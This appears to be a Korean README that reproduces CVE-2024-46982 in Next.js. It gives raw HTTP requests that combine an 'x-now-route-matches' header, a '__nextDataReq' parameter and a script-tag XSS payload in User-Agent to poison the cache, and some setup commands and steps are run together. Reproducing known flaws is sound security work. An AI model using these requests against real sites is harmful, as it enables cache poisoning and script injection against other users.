
CVE-2024-46982 재현
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 아무 웹 브라우저를 사용하여 http://localhost:3000(일반 요청)에 접속하세요.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 아무 웹 브라우저를 사용하여 http://localhost:3000(일반 요청)에 접속하세요.

x-now-route-matches는 Next.js가 인식하는 사용자 지정 HTTP 헤더입니다. 이 헤더가 있으면 Next.js는 HTTP 요청을 "SSG"(정적 사이트 생성)로 처리하며, HTTP 응답은 캐시될 수 있습니다(Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1은 Next.js가 인식하는 쿼리스트링입니다. 이 값이 있으면 Next.js는 HTTP 요청을 "__NEXT_DATA__ 검색"으로 처리합니다.
전체 분석 글은 Credit 섹션에서 확인할 수 있습니다.